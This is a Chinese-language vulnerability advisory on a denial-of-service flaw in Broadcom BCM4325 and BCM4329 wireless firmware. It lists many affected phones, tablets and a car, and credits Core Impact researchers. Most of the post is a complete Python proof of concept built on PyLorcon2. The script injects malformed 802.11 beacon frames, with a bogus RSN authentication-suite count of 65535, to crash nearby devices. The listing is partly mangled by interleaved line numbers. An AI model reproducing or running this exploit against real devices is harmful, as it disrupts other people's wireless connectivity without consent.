Broadcom网卡芯片BCM4325、BCM4329拒绝服务漏洞

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此次出现漏洞的是Broadcom的无线网卡固件，型号为BCM4325和BCM4329，攻击者可以通过发送特定的无线网络数据包导致拒绝服务攻击。

主要影响的设备有：

BCM4325

Apple iPhone 3GS Apple iPod 2G HTC Touch Pro 2 HTC Droid Incredible Samsung Spica Acer Liquid Motorola Devour
• Ford Edge (yes, it’s a car)
  
BCM4329

Apple iPhone 4 Apple iPhone 4 Verizon Apple iPod 3G Apple iPad Wi-Fi Apple iPad 3G Apple iPad 2 Apple Tv 2G Motorola Xoom Motorola Droid X2 Motorola Atrix Samsung Galaxy Tab Samsung Galaxy S 4G Samsung Nexus S Samsung Stratosphere Samsung Fascinate HTC Nexus One HTC Evo 4G HTC ThunderBolt HTC Droid Incredible 2 LG Revolution Sony Ericsson Xperia Play Pantech Breakout Nokia Lumina 800 Kyocera Echo
• Asus Transformer Prime
• Malata ZPad
  

可以看到苹果三星都在其中，估计影响的范围是比较大的。漏洞由Andres Blanco发现，Core Impact team的 Andres Blanco和 Matias Eissler写出了漏洞的POC，POC如下：

本POC在python开源库 library Lorcon和 PyLorcon2下实现

​

1	------------------------- poc.py -------------------------

2	#!/usr/bin/env python

3

4	import sys

5	import time

6	import struct

7	import PyLorcon2

8

9	def beaconFrameGenerator():

10	sequence = 0

11

while(1):

12	sequence = sequence % 4096

13

14	# Frame Control

15	frame  = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon

16	frame += '\x00' # Flags: 0

17	frame += '\x00\x00' # Duration: 0

18	frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff

19	frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad

20	frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad

21	frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:

22	part of the generator

23	# Frame Body

24	frame += struct.pack('Q', time.time()) # Timestamp

25	frame += '\x64\x00' # Beacon Interval: 0.102400 seconds

26	frame += '\x11\x04' # Capability Information: ESS, Privacy,

27	Short Slot time

28	# Information Elements

29	# SSID: buggy

30	frame += '\x00\x05buggy'

31	# Supported Rates: 1,2,5.5,11,18,24,36,54

32	frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'

33	# DS Parameter Set: 6

34	frame += '\x03\x01\x06'

35

# RSN IE

36	frame += '\x30' # ID: 48

37	frame += '\x14' # Size: 20

38	frame += '\x01\x00' # Version: 1

39	frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP

40	frame += '\x01\x00' # Pairwise cipher suite count: 1

41	frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP

42	frame += '\xff\xff' # Authentication suites count: 65535

43	frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK

44	frame += '\x00\x00'

45

46	sequence += 1

47	yield frame

48

49	if __name__ == "__main__":

50	if len(sys.argv) != 2:

51	print "Usage:"

52	print "\t%s <wireless interface>" % sys.argv[0]

53	sys.exit(-1)

54

55	iface = sys.argv[1]

56	context = PyLorcon2.Context(iface)

57	context.open_injmon()

58

59	generator = beaconFrameGenerator()

60

61	for i in range(10000):

62	frame = generator.next()

63	time.sleep(0.100)

64	context.send_bytes(frame)

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